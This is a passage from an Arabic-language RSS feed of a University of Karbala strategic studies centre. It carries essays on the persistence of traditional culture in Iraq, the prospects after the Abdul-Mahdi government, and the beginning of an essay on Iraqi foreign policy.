<p>هذا العامل هو سبب ونتيجة في الوقت نفسه، فهو سبب؛ لأن عدم اكتمال مشروع الدولة الحديثة فسح المجال لكل ما هو تقليدي وبدائي – أفكار وقيم ومؤسسات وسلوك-بالتمدد وملئ فراغ سلطة الدولة الحديثة، وكل ما ضعفت هذه الدولة اشتد عود نقيضها وترسخ وجوده. وهو نتيجة؛ لأن وجود الثقافة التقليدية ومحركاتها البدائية عملت باستمرار على افشال مشروع الدولة، واجهاضه، وكيف لا تفعل ذلك، وهي لم تستوعبه ابتداء، وأحست بخطره، فقاومته بضراوة، وعملت على نسف مرتكزاته وسلبتها مشروعيتها وشرعيتها لدى المجتمع.</p>
<p>ناهيك عن تحدي الثقافة التقليدية، فإن مشروع بناء الدولة واجه تحديا آخر مبعثه ضعف الإيمان به من قبل دعاته على اختلاف توصيفاتهم الفكرية، وانتماءاتهم المؤسسية، ناهيك عن قلة كفاءتهم، وتحويل المشروع من مشروع لخدمة الإنسان إلى مشروع يجري توظيفه من الاوتوقراطيين والاوليغارشيين من طلاب السلطة للتحكم بمقدرات الناس واستعبادهم واخضاعهم باسم بناء الدولة.</p>
<p>لقد شكل عدم اكتمال بناء الدولة الحديثة طعنة نجلاء في جسد المجمع العراقي المعاصر، سرعت من عودة عقارب الساعة فيه إلى الوراء، فجعلته أرضا خصبة لكل ما هو بدائي وقديم، وأصابته بالتقهقر الثقافي والحضاري، ومنعت تجديده فكريا وسلوكيا. إن الفيصل النهائي في حسم الصراع بين الجمود والتغيير، التقهقر والتقدم سيكون هو مشروع بناء هذه الدولة على أسس إنسانية صحيحة.</p>
<p>ثانيا-وجود القوى الداعمة.</p>
<p>لا ترجع استمرارية القديم في حياتنا المعاصر إلى كونه مجرد أفكار تعشعش في الرؤوس، وعادات وتقاليد تحكم السلوك، بل هو – أيضا-شبكة معقدة ومتداخلة من المصالح، تدافع عنها قوى شديدة التماسك، لديها المهارة والقدرة العالية على التكيف لحماية أسوارها، ودرء المخاطر عنها. هذه القوى تمثلها السلطة القائمة بمختلف مسمياتها، وبعض المؤسسات الدينية، والروابط العشائرية والقبلية، ناهيك عن قوى خارجية تشجع القوى الداخلية المذكورة آنفا، وتستديم وجودها لسبب أو آخر.        وعملت هذه القوى بتظافر مع بعضها بعضا، وبخطاب ديماغوجي معد بعناية؛ لحماية شبكة مصالحها وإجهاض أي توجه اجتماعي: فكري أم سلوكي أم مؤسساتي يسمح بتجديد منظومة القيم والعادات والتقاليد، فوظفت ثقافة الأسلاف بذكاء ومهارة للتحكم بتوجهات الرأي العام، وتأبيد حالة الجمود في المجتمع؛ لإدراكها إن نزع الاسمال البالية لمرتكزات ثقافة الأسلاف الكثيرة لن تكون نتيجته فقط إنتاج ثقافة جديدة عملية أكثر، تتناسب مع حاجات عصرها، ولكنه يعني –أيضا- انتقال مركز القيادة والسيطرة الاجتماعية والسياسية والاقتصادية من هذه القوى إلى قوى جديدة، وهذا من المحرمات والخطوط الحمر التي لا يمكن التهاون معها.</p>
<p>لقد شهدت القوى أعلاه اهتزازات كثيرة عبر تاريخها الطويل، ولكنها في كل مرة كانت تخرج منتصرة؛ لأنها على الرغم من اختلافها مع بعضها، وتقاطعها أحيانا، استطاعت في اللحظات الحرجة التي هددت  مصالحها أن تتكاتف وتتخادم فيما بينها لدفع التهديد واستعادة زمام المبادرة، داعمة مواقفها بحجج شتى خدرت عقول وعواطف الناس، والهبت مشاعرهم كما تفعل الحمية العشائرية بشعارات وخطابات ديماغوجية قوية الايقاع، ومدركة لما تريد الوصول إليه؛ ليبقى في النهاية  الحال على ما هو عليه، كما يبقى كل جديد محتمل أسير إرادة وهوى هذه القوى، وما ترسمه من حدود القبول أو الرفض، وغالبا ما يكون القبول مقترنا بعدم تهديد المصالح المتوارثة.</p>
<p>ثالثا-لعنة الجغرافيا.</p>
<p>تأثير العامل الجغرافي على تفكير وسلوك الناس ليس ابتداعا جديدا، فلقد أشار إليه فلاسفة وعلماء اجتماع وسياسة كثيرون، حتى إنه عندما لفتت ظاهرة الصراع والتناوب بين البداوة والحضارة في العراق عالم الاجتماع العراقي الدكتور علي الوردي، فسرها بوجود الاحتكاك الدائم بين السهل العظيم والصحراء الشاسعة لهذا البلد، بكل ما ينطويان عليه (السهل والصحراء) من قيم وعادات وتقاليد تحكم ظروف القاطنين فيهما.</p>
<p>فالأرض ليست مستودعا للمصالح والثروات والتضاريس لتحكم وجود الإنسان القاطن فيها بما جاد خالقها عليها، وما فرضته على هذا الإنسان من حتميات ترتبط بسعة مساحتها، وموقعها الجغرافي، وطبيعة جيرانها، إنما الأرض هي أيضا مستودع لطاقات لا شعورية – إيجابية ام سلبية &#8211; تعود إلى الأجيال الغابرة التي عاشت عليها، فما واجهته تلك الأجيال من مخاطر وأهوال، وما شعرت به من سعادة وهناء، بؤس وشقاء، أحقاد وثارات، هزائم وانكسارات، أحلام وطموحات، تقاليد وعادات&#8230; كل ذلك يمكن توريثه لا شعوريا إلى الأجيال اللاحقة، لتضاف إلى تجربة الجيل السابق تجربة الجيل اللاحق وهكذا دواليك.</p>
<p>وهذا الأمر قد أشار اليه بذكاء عالم النفس السويسري ومؤسس علم النفس التحليلي كارل يونغ عندما تحدث عن الأنا (الشعور) والأنا العليا (اللاشعور)، وذكر أنه كما أن اللاشعور الفردي، الذي يشكِّل حصيلة خبرة وتجارب الفرد أثناء تنشئته الاجتماعية، يكون تأثيره أعمق وأكبر في حياته من الشعور، ليظهر هذا التأثير بشكل ملفت في مواقفه التي تحكم علاقته بغيره ومحيطه الخارجي، فإن المجتمع يمكن أن يحمل لا شعورا جمعيا، هو عصارة خبرة وتجربة الأسلاف، ويمكن لهذا اللاشعور الاستمرار في الوجود داخل المجتمع وينتقل من جيل إلى جيل، لتظهر تأثيراته الكبيرة في مواقف كثيرة تواجه أفراد المجتمع، عندما يواجهون التحديات، أو يعالجون مشاكلهم، أو يحلمون ويطمحون&#8230; ففي كل هذه المجالات قد يكررون لا شعوريا تجارب أسلافهم.</p>
<p>بناءَ على هذا الفهم، يمكن القول: إن بلاد ما بين النهرين، ومعها معظم بلدان الشرق الأوسط لم تنقرض شعوبها من الوجود، كما لم تهاجر بشكل كامل من أراضيها لتعيش في أراض جديدة تبتدأ منها تجارب عيش مختلفة، بل إنها استمرت في الوجود والتناسل على الأرض نفسها، لذا هي شعوب لم تتخلص بتاتا من لعنة جغرافيتها، وتجارب أجيالها القديمة فوق هذه الأرض. وما زالت هذه الشعوب مستودعا ضخما لذاكرة تاريخية مستمرة، وطاقة لا شعورية عظيمة ناتجة عن تجاربها أسلافها مع حكوماتها، وجيرانها، واديانها، وأعراقها، وطوائفها، وكافة وحداتها الاجتماعية.</p>
<p>هذا المخزون الضخم من تجارب الأجداد، جعل ردود أفعال الأجيال المعاصرة الكثيرة مشابهة تماما لردود أسلافهم، لذا ليس غريبا أن تجد العلاقات بين بلدان المنطقة تعيد نفسها بتكرار ممل لآلاف الأعوام، نعم بأشكال وصيغ وأسباب مختلفة، ولكنها بطريقة متماثلة، أو تشاهد صراعات اجتماعية حاضرة هي امتداد أو تكرار لصراعات حدثت قبل مئات وآلاف الأعوام.</p>
<p>إن الوجود المشترك والمستمر للشعوب نفسها على الأرض نفسها ساعد كثيرا على استمرار عادات وتقاليد وأنماط تفكير أسلافهم، وسمح بظهور ردود أفعال معاصرة مشابهة لأفعالهم، ولا يمكن الخلاص من تأثير هذا العامل إلا بإدراكه فعلا وبكل أبعاده، وعقد النية المصممة على تجاوزه بشكل أو آخر.</p>
<p><strong>هل يمكن هزيمة القديم والحد من تأثيراته السلبية؟                                               </strong></p>
<p>مهما كانت قوة عادات وتقاليد الأسلاف، فإنها لن تكون منيعة بوجه التغيير، نعم قد تختلف مدة الانسلاخ عنها من مجتمع إلى آخر، ولكن في النهاية ستتهدم الثقافة القديمة، وتفسح المجال مندحرة أمام ثقافة جديدة-بصرف النظر عن طبيعة الأخيرة -إلا أن هذه واحدة من سنن الحياة البشرية على الأرض. لذا فما هو قديم وسلبي في ثقافتنا السائدة اليوم سوف يُهزم ولن يستمر إلى ما لانهاية، ولكن كيف سيتم ذلك؟</p>
<p>إن استراتيجية القطيعة مع الماضي التي تحدث بها بعض مفكرينا لا تبدو مناسبة، فحياة البشر ليست فلما سينمائيا لتقتطع منه ما تشاء وتبقي على ما تشاء، كما أنها ليست كتابا تستغني –أحيانا-عن بعض فصوله، وتركب مكانها فصولا جديدة. حياة البشر أكبر وأعقد وأروع من ذلك، إنها مشاعر وعلاقات، هزائم وبطولات، أفكار ورسالات، موت وحياة&#8230;صنعت وجودهم، ولا يمكن لعاقل أن يطالبهم بشطبها بسهولة، ولا يمكنه أن يقوم بذلك دون أن يتوقع عواقب ارتدادية وخيمة، ولو بعد حين.</p>
<p>وقد تكون استراتيجية نسف المعبد على ساكنيه هي الاستراتيجية الأكثر إغراء، بالنسبة لمن تتأجج في صدورهم الدوافع القوية، ويستعجلون التغيير-وكاتب هذه السطور واحد منهم احيانا -ولكن هذه الاستراتيجية هي ليست الاستراتيجية المثلى أيضا؛ لأن استفزاز منظومة متماسكة من القيم والعادات والتقاليد والمصالح والقوى التقليدية، غالبا ما يزيد وحدتها وعنادها، ويجعل محاولة هزيمتها ضربا من المحال أو مغامرة غير محسوبة العواقب.</p>
<p>وإزاء هذا الحال، سنكون مجبرين للبحث عن استراتيجية أخرى، وعندها سنجد أنفسنا مضطرين إلى الأخذ بنصيحة جون ديوي، الذي يرى: إنه عندما يكون الأساس الفكري الذي يعيد إنتاج المعابد باق كما هو عليه، فإن السياسة المناسبة الهادفة إلى التغيير تتطلب إعادة تكييف العادات والتقاليد القديمة مع أنماط سلوك جديدة، وعندها سيتم تحرير الدوافع الجديدة من سطوة القديم من العادات والتقاليد لتوليد عادات وتقاليد جديدة.</p>
<p>تبدو هذه الاستراتيجية أكثر ذكاء، وأقل مجازفة بأمن واستقرار المجتمع، لكنها تتطلب وعيا مزدوجا: الأول-وعي القوى التي تنشد التغيير؛ لتكون أكثر ايمانا به، فتبني أهدافها وتصوراتها على أساس الظروف الحاضرة لمجتمعها، واستخدام هذه الظروف كوسيلة لبلوغ الأهداف بعيدا عن الارتداد الأعمى إلى القديم من عادات وتقاليد الأسلاف.</p>
<p>والثاني-وعي القوى التي تقف بوجه التغيير، إنها تلعب بمصيرها ومصير مجتمعها، وتهدد مصالح الطرفين، عندما تغلق الباب بوجه التغيير القادم لا محالة، وإن عليها أن تطور أهدافها ووسائلها بما يتناسب مع حاجات زمنها، والتحرر التام من الخضوع والاستسلام لعادات وتقاليد الأسلاف التي عفى عليها الزمن.</p>
<p>إن الثقة بحتمية تغيير القديم المستمر تجد دلالاتها في مؤشرات كثيرة  داخل المجتمع مثل تنامي روح المغامرة لدى الأجيال الشابة، واستعدادها للمجازفة، حتى الخطرة منها، بل إن تنامي معدل الطلاق داخل المجتمع الذي يتساوى في بعض الشهور مع معدل الزواج يمكن تفسيره &#8211; بعيدا عن المشاكل الاقتصادية والاسرية &#8211; بأنه بدايات تصدع في الثقافة الأبوية، وتمرد على قواعدها المألوفة من قبل شباب وشابات يبحثون عن أسس ثقافية جديدة تحكم علاقة الشراكة بينهم داخل الأسرة وفي ميادين الحياة.</p>
<p>كما أن محفزات تغيير القديم المستمر تلمسها من خلال أن القوى الدافعة باتجاه التغيير هي أكثر حضورا في حياتنا عما كانت عليه الحال في زمن أسلافنا، فعلى الرغم من كل المظاهر السلبية التي يشكو منها الكثير، إلا أن هناك مؤشرات إيجابية تشكل قاعدة انطلاق مهمة ومؤثرة للتغيير المستقبلي، ومنها: نظام التربية والتعليم الحديث المنزوع الصلة تقريبا بالنظام السائد في زمن أجدادنا من جهة، وتمدده المستمر في حياتنا من جهة أخرى، فقبل ما يقرب من مائة عام كان سكان العراق لا يتجاوزون الثلاثة ملايين نسمة، فيما لم يتجاوز من يعرف القراءة والكتابة منهم  نسبة الـ 1 %، أمّا في العام 2018 فعدد السكان تجاوز الـ40 مليون نسمة، وفاقت نسبة من يعرف القراءة والكتابة منهم حاجز الـ 80% -نعم هي نسبة دون الطموح- ولكن من شأن استمرار وتطور نظام التربية والتعليم الحديث، مع رفده بالسياسات المناسبة أن يعيد تشكيل مناهج واليات التفكير لدى أجيالنا الجديدة، ويعيد تشكيل أنماط السلوك لديهم، بعد أن يكون قد أعاد ترتيب دوافعهم بما يتناسب مع حاجاتهم العملية بعيدا عن حاجات أسلافهم ومثالياتها غير المجدية.</p>
<p>ولا يقل شأنا عن تأثير التربية والتعليم الحديث، تأثير التوسع في المدينة، فمعروف أن للمدن سحرها، لاسيما المدن الحديثة التي لا تتوزع قطاعاتها حسب العشائر والأقوام، كما للمدينة قيمها الخاصة، وهي قيم المدنية والحضارة والتسامح ورقة الطباع والتضامن حول الحقوق والحريات. وفي مطلع الربع الأول من القرن العشرين لم يكن يتجاوز سكان المدن في العراق نسبة 12%، اما بقية السكان فهم إمّا بدو وإمّا سكان الريف، وكانت أكبر المدن وهي بغداد لا تتجاوز مساحتها بضعة كيلو مترات، وعدد سكانها يتراوح بين 163.000 الى 180000، ولكن في عام 2018 كانت نسبة سكان المدن 69.8% أمّا سكان الريف فكانوا 30.2% مع اختفاء وجود نسبة معتد بها من البدو، فيما تجاوز عدد سكان بغداد حاجز الــ 8 مليون نسمة.</p>
<p>إن هذا التمدد المستمر للمدن في العراق وغيره، غير مسبوق في تاريخ هذه البلدان، وهو يجري على أسس تختلف تماما عما اعتادته مدن القرون القديمة والوسطى، وهو يحفز السكان باستمرار على نزع ولاءاتهم وروابطهم التقليدية، ويرمي بهم في أحضان حضارة جديدة، ربما سيتململون في البداية لمدة من الزمن في محاولة التطبع عليها وتعلم عاداتها وتقاليدها لكنها في النهاية ستكسب المعركة وتحتويهم إن لم يكن في الجيل الأول والثاني، فالأمر محسوم في الأجيال اللاحقة.</p>
<p>كما أن للتقدم التكنلوجي تأثير كبير في هذا الموضوع، لاسيما ما يتعلق منه بوسائل الاتصالات الحديثة، التي يعد من أكثرها تأثيرا وإثارة شبكات الهواتف الحديثة، بكل ما يرتبط بها من وسائل للتواصل الاجتماعي، فهذه التكنلوجيا تعيد تنظيم عالمنا بشكل مذهل، كما أنها تسلب وبشكل مستمر القوى التقليدية قدرتها التاريخية على التحكم بعقول الناس.</p>
<p>فشبكات الانترنيت والهواتف الذكية وما يرتبط بها من قفزات تكنلوجية تشكل ثورة معرفية رائدة ستأخذ المبادرة من الأسرة والمدرسة والجامعة، ومن المسجد والكنيسة والمعبد، ومن العشيرة والسلطة في توجيه الناس عموما، والشباب بشكل خاص باتجاه أنماط سلوك وتفكير جديدة، واهتمامات ورغبات مختلفة.</p>
<p>ويكفي للدلالة على قوة هذه الشبكات أن تعرف إن 33.5 مليون عراقي لديهم خط هاتف نقال عام 2015، أي بنسبة 90.6 من كل 100 شخص، منهم 5.7 مليون كانوا يمتلكون هواتف ذكية، وقد ارتفعت هذه النسبة عام 2018 الى 36 مليون يمتلكون خط هاتف، أي بنسبة 94 %، منهم 7.709.000 يمتلكون هواتف ذكية.</p>
<p>ولم تعد الهواتف الذكية مجرد وسيلة اتصال، بل هي أداة تغيير ثقافي تكسر حدود الروابط التقليدية من الأسرة إلى الدولة، كما تكسر القيود الثقافية، والضوابط الاجتماعية بكل ما تعارفت عليه من قيم وعادات وتقاليد، وتأثيراتها الثقافية ما زالت في بدايتها في مجتمعاتنا، ولكنها كانت ملموسة للغاية في تفجير الثورات، وحشد الجماهير، واندفاع الافراد بجرأة لممارسة النقد والتعبير عن الشكوى&#8230; وستزداد هذه التأثيرات مستقبلا بشكل قد نعجز عن تخيله الآن.</p>
<p>ناهيك عما تقدم، فأن زيادة حضور منظمات المجتمع المدني، وتخلصها من أعبائها الفكرية والاجتماعية وتحررها التام للعمل في خدمة المجتمع، وتغيير قناعاته، سيكون له نتائج إيجابية كبيرة لهزيمة ما هو قديم معرقل.</p>
<p>فهذه المنظمات من طبيعتها، وخصوصية المنتمين إليها، والأهداف التي تسعى إليها يمكنها إذا ما نجحت في الاتحاد فيما بينها، باتجاه التضامن المستمر في القضايا محل اهتمامها، فإنها ستلعب دورا فعالا للغاية لإحداث تغيير ثقافي مهم، بل وتغيير سياسي، كما حصل في ثورات الألوان في أوروبا الشرقية مطلع الالفية الثالثة (جورجيا، صربيا، وأوكرانيا)، وكما حصل في ثورات الربيع العربي منذ عام 2011، وكما حصل وسيحصل في جميع البلدان المتقدمة، إذ يمكن لهذه المنظمات أن تعيد صياغة الرأي العام باتجاه القضايا المطروحة، كما يمكنها كسب ثقة الناس، وإضعاف تأثير المؤسسات التقليدية عليهم.</p>
<p>نعم تعرضت هذه المنظمات في العراق بعد عام 2003 إلى انتكاسة؛ لأسباب سياسية أو مالية أو أخلاقية لكن ظهورها وتناميها العددي بحد ذاته مؤشر إيجابي لا يمكن إغفاله، وستكون لها شأن كبير في المستقبل.</p>
<p>هذه المؤشرات وغيرها مما لم نلفت الانتباه إليه في هذه الدراسة، هي قوى حقيقية دافعة باتجاه التغيير، وهي معاول قوية تضرب بقوة جدار القديم المستمر، وهي لن تلبث طويلا حتى تُجهز عليه تماما، ولكن ما لم نحدد تماما أهداف التغيير واتجاهاته، فقد تكون النتيجة فوضى تزيد انقسام المجتمع، وتصيبه بصداع وحيرة لا يفهم كيف يخرج منها.</p>
<p>أخيرا، لا أزعم أن هذه الدراسة تناولت الموضوع من كل جوانبه؛ لأن موضوعا بهذه السعة والعمق والتعقيد يحتاج إلى جهود كبيرة ومخلصة يبذلها المختصون المخلصون والواعون بعلوم الاجتماع والنفس والتاريخ، ولا سيما تاريخ الأديان، والسياسة والتربية والتعليم وغيرهم للوقوف على أبعاده المختلفة، ولكن يمكن تشبيه الدراسة بأنها مجرد حجر تم القاؤه في بحيرة كبيرة من المياه الراكدة، عسى أن يفتح شهية المفكرين والباحثين إلى ما هو أفضل مستقبلا.</p>
<p><strong> </strong></p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/6304">القديم المستمر في ثقافتنا السائدة</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">6304</post-id>	</item>
		<item>
		<title>ماذا بعد مرحلة عادل عبد المهدي؟</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5638</link>
		
		<dc:creator><![CDATA[بقلم: الأستاذ الدكتور خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Fri, 06 Sep 2019 15:41:49 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=5638</guid>

					<description><![CDATA[<p>  بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء أيلول-سبتمبر 2019 بعد التغريدة التي أطلقها يوم أمس (الخامس من أيلول –سبتمبر 2019) رجل الدين الشيعي القوي مقتدى... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5638">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5638">ماذا بعد مرحلة عادل عبد المهدي؟</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong> </strong></p>
<p><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي</strong></p>
<p><strong>مدير مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></p>
<p><strong>أيلول-سبتمبر 2019</strong></p>
<p>بعد التغريدة التي أطلقها يوم أمس (الخامس من أيلول –سبتمبر 2019) رجل الدين الشيعي القوي مقتدى الصدر زعيم التيار الصدري في العراق ومؤسس كتلة سائرون في البرلمان ضد الحكومة واتهامه إياها بتحولها من حكومة تحكم بالقانون الى حكومة تحكم بالشغب، وتهديده بالبراءة منها، يكون رئيس الوزراء العراقي السيد عادل عبد المهدي قد خسر اقوى حلفائه الداعمين له، مما يفتح التكهنات والشك حول مقدرة حكومته على إتمام دورتها الحالية.</p>
<p>ان طبيعة التطورات الإقليمية والمحلية تنذر بأن الحديث عن اسقاط الحكومة وسحب الثقة من رئيسها لم تعد مجرد بالونات إعلامية، بل هو مدار حديث جدي في دهاليز القوى السياسية العراقية، ولم يعد السؤال هل ستسقط الحكومة، وانما متى ستسقط؟</p>
<p>ولكن سقوط الحكومة بحد ذاته ليس هو الحلقة الأصعب في تطورات الاحداث القادمة، انما الحلقة الأكثر تعقيدا، والسؤال الأصعب في الإجابة عليه هو ماذا بعد مرحلة عادل عبد المهدي؟</p>
<p>لقد ولدت الحكومة الحالية خارج سياق الاستحقاقات الانتخابية نتيجة عجز القوى السياسية عن الاتفاق فيما بينها على حل يرضي جميع الأطراف، والظروف التي افرزتها لم تتغير، بل زادت تعقيدا وتأزما، لاسيما بعد بروز الانقسامات الواضحة في مواقف الكتل السياسية القوية إزاء ملفات عديدة مثل: ملف الحشد الشعبي، ملف العلاقة بين المركز وأقليم كوردستان، ملف تواجد التحالف الدولي على الأرض العراقية، ملف الصراع الأمريكي-الإيراني، ملف الحدود البرية والبحرية مع دول الجوار، ملف محاربة الفساد، ملف التنمية الاقتصادية وغيرها من الملفات التي أظهرت غيابا مؤسفا في وحدة القرار السيادي العراقي، وتعدد ولاءات القوى المشاركة في الحكومة.</p>
<p>وما زاد الأمور تعقيدا وارباكا هو الموقف التصالحي المبالغ فيه من قبل الحكومة إزاء القوى التي اوجدتها، نعم لم يكن يتوقع المراقبون من السيد عادل عبد المهدي اكثر مما قدمه فعلا، وكان معظمهم يرى ان هذه الحكومة هي حكومة اعلان هدنة بين الفرقاء السياسيين وليست حكومة مطلقة العنان لتنفيذ وعودها وإنجاز برنامجها المعلن، ومع ذلك فأن أداء الحكومة جاء مخيبا للآمال اكثر من اللازم، فالسيد عبد المهدي لم يتمتع بالكاريزما اللازمة للتخلص من القيود والضغوط الصعبة المفروضة عليه؛ لأن اتفاق تشكيل الحكومة المبرم بينه وبين القوى صاحبة النفوذ في العراق لم يكن حسن النية ويسمح له بالتمتع بصلاحياته الدستورية كاملة، كما يبدو ان شخصيته وعمره لم يساعداه على تجاوز هذه القوى ومد الجسور مع الشارع الشعبي الناقم لاستثماره كقوة بديلة مؤيدة توظف في تخفيف سطوة القوى السياسية واحراجها امام قواعدها وداعميها، وكانت النتيجة ان حكومته صارت بين نارين: نار قوى طامعة ومشاكسة، ونار شارع شعبي منتفض ومنتقد وراغب بالتغيير.</p>
<p>مع ذلك ستكون مرحلة ما بعد سقوط حكومة عادل عبد المهدي- في حال تحقق هذا المشهد- صعبة جدا على القوى السياسية والشعب العراقي معا، فسقوط الحكومة سيعني العودة الى مربع ما قبل تشكيلها بظروف اصعب واعقد واكثر استفزازا، وسيربك مشاريع الدولة والخدمات المقدمة لشعبها مما يزيد من نقمة الشارع وهيجانه، وسيفتح الأبواب مشرعة امام القوى الإقليمية والدولية لتصفية حساباتها على الأرض العراقية مع جود قوى داخلية فاعلة ومستعدة لدعم اطراف خارجية ولو على حساب مصلحة العراق وشعبه&#8230; كل هذه النتائج سترسخ أكثر هشاشة مؤسسات الدولة وتدعم مافيات الفساد الراغبة بالانقضاض على ما تبقى من الغنائم، وستكون وحدة وسيادة العراق محل شك ومطروحة للنقاش بقوة اكثر.</p>
<p>ليست مشكلة العراق اليوم بالسيد عادل عبد المهدي كشخص، انما مشكلته الحقيقية في عدم وجود مشروع وطني جامع تلتف حوله القوى السياسية، فالظاهر الدستوري للدولة شيء، والواقع التنفيذي لها شيء آخر، اذ لا توجد رغبة لدى معظم اللاعبين الأساسيين في احترام القانون وسيادة الدولة، ويرون انهم فوق القانون والسيادة، بل انهم أصحاب السيادة بأنفسهم واحزابهم وولاءاتهم، كما لا زالت نظرة الشريك الكوردي الى الارتباط بالعراق قائمة على انها مرحلة انتقالية توظف للحصول على مزيد من المغانم والمكاسب لتأسيس الدولة الكوردية المستقلة- قطعا هذه أحلام يقظة- في مرحلة ما، وتدار اللعبة السياسية على أساس اغتنام السلطة لمزيد من الثروة والنفوذ لا على أساس توظيفها لبناء الدولة. وفي ظل هكذا واقع، ستكون اية حكومة مشلولة كليا او جزئيا، وستبقى برامجها ووعودها وقراراتها مجرد حبر على ورق.</p>
<p>ان الفوضى التي تخلقها القوى السياسية المتنفذة في العراق بنفسها او بمساعدة قوى خارجية لن تقود الى تقسيم البلد-حتى لو رغب البعض بذلك-وانما ستزيد من تراجعه وتؤخر تنميته، وخسارة شعبه في الأرواح والأموال، وتعيد انتاج مقولة حاجة العراق الى الحكومة المستبدة والقائد القوي، وستُنهي حلمه الديمقراطي، وهذا قطعا ما يأمله ويدفع باتجاهه جميع جيران العراق الذين يخشون على شرعيتهم ويرغبون بالتمسك بعروشهم الى الابد.</p>
<p>واستعادة شرعية الدكتاتورية في العقل السياسي العراقي لن يواجه مشكلة كبيرة ابدا، فالدكتاتورية متغلغلة ونافذة بقوة في الوجدان والتاريخ العراقي، وهي الحل الأمثل عندما تعجز جميع الحلول عن جلب الوحدة والأمان والانتظام في نظر معظم العراقيين، كونها ايسر الحلول، وأقلها ارهاقا للعقل والوجدان، اذ من الايسر على شعب خذلته قواه السياسية، وعجز عن تغيير ظروفه الى الأفضل، وناقم على حياة لا يريد استمرارها ان يركن الى دكتاتور يستعيض عنه بالانتقام من كل الأوضاع التي يعيشها، ويتخلص من خلاله من أي وخز ضمير ناتج عن شعوره بالفشل في تحقيق حلمه بعيش حياة أفضل.</p>
<p>خلاصة القول: متى تدرك القوى السياسية المهيمنة في العراق ان استمرارها بنمط تفكيرها وسلوكها الحاضر يجعلها تحفر قبرها بأيديها، وتدمر مستقبلها ومستقبل الأجيال القادمة، ولا عذر لها في ذلك، بل لن تجد جميعها الأمان والسلام والكرامة عندما تحل الكارثة. فالعراق بلد غني جدا، وشعبه شعبا مميزا ومتلهفا نحو استعادة مجده الحضاري بقوة، وحباه الله بنعم في الجغرافيا يحسده عليها الجميع، ويمتلك كل المؤهلات اللازمة ليكون القلب النابض ومركز الاشعاع المؤثر إيجابيا في الشرق الأوسط والعالم الإسلامي، الا انه وللأسف لا يمتلك قيادات سياسية تقدر قيمته، وتستطيع استثمار مصادر قوته الكامنة لخير شعبها والإنسانية، ومتى ما وجدت هكذا قيادات ستكون لبلدها تأثيرات مذهلة على مستقبل بلدها والعالم، وعندها لن تصبح المسائل المرتبطة بتشكيل الحكومات واختيار الشخصيات مشكلة معقدة لدى العراقيين، بل ستكون أحلام قياداتهم وشعبهم اكبر من هذه المسائل الإجرائية الصغيرة.</p>
<p>&nbsp;</p><p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5638">ماذا بعد مرحلة عادل عبد المهدي؟</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></content:encoded>
					
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">5638</post-id>	</item>
		<item>
		<title>العراق: سياسة خارجية إيجابية تقتضي الاستمرارية والحذر</title>
		<link>https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5416</link>
		
		<dc:creator><![CDATA[الأستاذ الدكتور خالد عليوي العرداوي]]></dc:creator>
		<pubDate>Tue, 09 Apr 2019 16:01:12 +0000</pubDate>
				<category><![CDATA[dr-khalid]]></category>
		<category><![CDATA[politic]]></category>
		<guid isPermaLink="false">http://kerbalacss.uokerbala.edu.iq/wp/?p=5416</guid>

					<description><![CDATA[<p>  بقلم: الأستاذ الدكتور خالد عليوي العرداوي مدير مركز الدراسات الاستراتيجية-جامعة كربلاء نيسان-ابريل 2019 في القمة الثلاثين لجامعة الدول العربية التي عقدت في تونس يوم الاحد الموافق 31 آذار-مارس 2019،... <a class="read-more-link" href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5416">اقرأ المزيد &#187;</a></p>
<p>The post <a href="https://kerbalacss.uokerbala.edu.iq/wp/blog/archives/5416">العراق: سياسة خارجية إيجابية تقتضي الاستمرارية والحذر</a> first appeared on <a href="https://kerbalacss.uokerbala.edu.iq/wp">مركز الدراسات الاستراتيجية - جامعة كربلاء</a>.</p>]]></description>
										<content:encoded><![CDATA[<p><strong> </strong></p>
<p><strong>بقلم: الأستاذ الدكتور خالد عليوي العرداوي</strong></p>
<p><strong>مدير مركز الدراسات الاستراتيجية-جامعة كربلاء</strong></p>
<p><strong>نيسان-ابريل 2019</strong></p>
<p>في القمة الثلاثين لجامعة الدول العربية التي عقدت في تونس يوم الاحد الموافق 31 آذار-مارس 2019، قال الرئيس العراقي برهم صالح: &#8220;ان المبدأ الأساس في علاقات العراق الدولية، وخصوصا علاقاته مع جواره الإسلامي وعمقه وامتداده العربي، هو مبدأ العمل المشترك مع الجميع على أساس مصالح الشعوب ومصالح البلدان، والعراق يطمح الى دور واعد ليكون نقطة لقاء لا نزاع، لن نكون طرفا في أي محور، لكن سنكون في قيادة أي جهد يعمل لترسيخ السلام والتنمية والتفكير بمستقبل متقدم وعادل للجميع&#8221;.</p>
